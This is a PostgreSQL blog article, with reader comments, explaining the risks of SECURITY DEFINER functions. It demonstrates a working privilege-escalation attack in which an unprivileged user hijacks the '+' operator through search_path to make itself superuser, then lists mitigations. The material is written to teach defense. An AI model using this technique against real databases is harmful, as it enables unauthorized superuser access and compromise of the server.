UPDATED August 2023: Functions defined as SECURITY DEFINER are a powerful, but dangerous tool in PostgreSQL.
Table of Contents
The documentation warns of the dangers:
Because a
SECURITY DEFINERfunction is executed with the privileges of the user that owns it, care is needed to ensure that the function cannot be misused. For security,search_pathshould be set to exclude any schemas writable by untrusted users. This prevents malicious users from creating objects (e.g., tables, functions, and operators) that mask objects intended to be used by the function.
This article describes such an attack, in the hope to alert people that this is no idle warning.
SECURITY DEFINER good for?By default, PostgreSQL functions are defined as SECURITY INVOKER. That means that they are executed with the User ID and security context of the user that calls them. SQL statements executed by such a function run with the same permissions as if the user had executed them directly.
A SECURITY DEFINER function will run with the User ID and security context of the function owner.
This can be used to allow a low privileged user to execute an operation that requires high privileges in a controlled fashion: you define a SECURITY DEFINER function owned by a privileged user that executes the operation. The function restricts the operation in the desired way.
For example, you can allow a user to use COPY TO, but only to a certain directory. The function has to be owned by a superuser (or, from v11 on, by a user with the pg_write_server_files role).
Of course, such functions have to be written very carefully to avoid software errors that could be abused.
But even if the code is well-written, there is a danger: unqualified access to database objects from the function (that is, accessing objects without explicitly specifying the schema) can affect other objects than the author of the function intended. This is because the configuration parameter search_path can be modified in a database session. This parameter governs which schemas are searched to locate the database object.
The documentation has an example where search_path is used to have a password checking function inadvertently check a temporary table for passwords.
You may think you can avoid the danger by using the schema name in each table access, but that is not good enough.
SECURITY DEFINER functionConsider this seemingly harmless example of a SECURITY DEFINER function that does not control search_path properly:
|
1 2 3 |
CREATE FUNCTION public.harmless(integer) RETURNS integer LANGUAGE sql SECURITY DEFINER AS 'SELECT $1 + 1'; |
Let's assume that this function is owned by a superuser.
Now this looks pretty safe at first glance: no table or view is used, so nothing can happen, right? Wrong!
The attack depends on two things:
public) where the attacker can create objects.The malicious database user “meany” can simply run the following code:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
/* * SQL functions can run several statements, the result of the * last one is the function result. * The 'OPERATOR' syntax is necessary to schema-qualify an operator * (you can't just write '$1 pg_catalog.+ $2'). */ CREATE FUNCTION public.sum(integer, integer) RETURNS integer LANGUAGE sql AS 'ALTER ROLE meany SUPERUSER; SELECT $1 OPERATOR(pg_catalog.+) $2'; CREATE OPERATOR public.+ ( FUNCTION = public.sum, LEFTARG = integer, RIGHTARG = integer ); /* * By default, 'pg_catalog' is added to 'search_path' in front of * the schemas that are specified. * We have to put it somewhere else explicitly to change that. */ SET search_path = public,pg_catalog; SELECT public.harmless(41); harmless ---------- 42 (1 row) du meany List of roles Role name | Attributes | Member of -----------+------------+----------- meany | Superuser | {} |
The function was executed with superuser permissions. search_path was set to find the (unqualified!) “+” operator in schema public rather than in pg_catalog. So, the user-defined function public.sum was executed with superuser privileges and turned the attacker into a superuser.
If the attacker had called the function public.sum himself (or issued the ALTER ROLE statement), it would have caused a “permission denied” error. But since the SELECT statement inside the function ran with superuser permissions, so did the operator function.
In theory you can schema-qualify everything, including operators, inside the function body, but the risk that you forget a harmless “+” or “=” is just too big. Besides, that would make your code hard to read, which is not good for software quality.
Therefore, you should take the following measures:
search_path on a SECURITY DEFINER function. Apart from the schemas that you need in the function, put pg_temp on the list as the last element.CREATE privilege. In particular, remove the default public CREATE privilege from the public schema.EXECUTE privilege on all SECURITY DEFINER functions and grant it only to those users that need it.In SQL:
|
1 2 3 4 5 6 |
ALTER FUNCTION harmless(integer) SET search_path = pg_catalog,pg_temp; REVOKE CREATE ON SCHEMA public FROM PUBLIC; REVOKE EXECUTE ON FUNCTION harmless(integer) FROM PUBLIC; |
In order to receive regular updates on important changes in PostgreSQL, subscribe to our newsletter, or follow us on Twitter, Facebook, or LinkedIn.
You need to load content from reCAPTCHA to submit the form. Please note that doing so will share data with third-party providers.
More InformationYou are currently viewing a placeholder content from Facebook. To access the actual content, click the button below. Please note that doing so will share data with third-party providers.
More InformationYou are currently viewing a placeholder content from X. To access the actual content, click the button below. Please note that doing so will share data with third-party providers.
More Information
Does
ALTER ROLE username SET search_path = pg_catalog,pg_tempprovide the same security as
SET search_path = pg_catalog,pg_temp;?Absolutely not.
If you do not set the
search_pathon the function itself, then every user can just runSET search_path = whatever;before calling the function.
I'm coming to PostgreSQL from MS SQL Server. Sure, there are tons of diffs! In this context I'm interested in one thing in particular: In SQL Server I can create a procedure with the "execute as owner" attribute. The owner could have access to some tables. Then, I can grant execute permission for the proc to another user who has no access to the tables. But since the proc executes "as owner" the user can get the data they need, but only through the proc. (hope that's clear)
Trying to understand how to do the equivalent in PostgreSQL. Any help appreciated!
That's the same concept.
I don't know if SQL server has something like
search_path, and I am certain that it is not as extensible as PostgreSQL, so the danger might be less there.Nothing quite like search_path, no. instead, devs are encouraged to always schema-qualify objects. Then schemas and other objects are secured using GRANT and DENY statements are required. For my question, you can create a proc (function) whose owner has permission to a table that the caller of the function does not have. This allows the proc to act as a proxy for the caller which can be used to enhance security among other things.
What are the commands I would use to create a function foo.bar that accesses a table fum.baz that can be used by a user named foobar who has no access to the fum schema, only execute permission to the foo.bar function?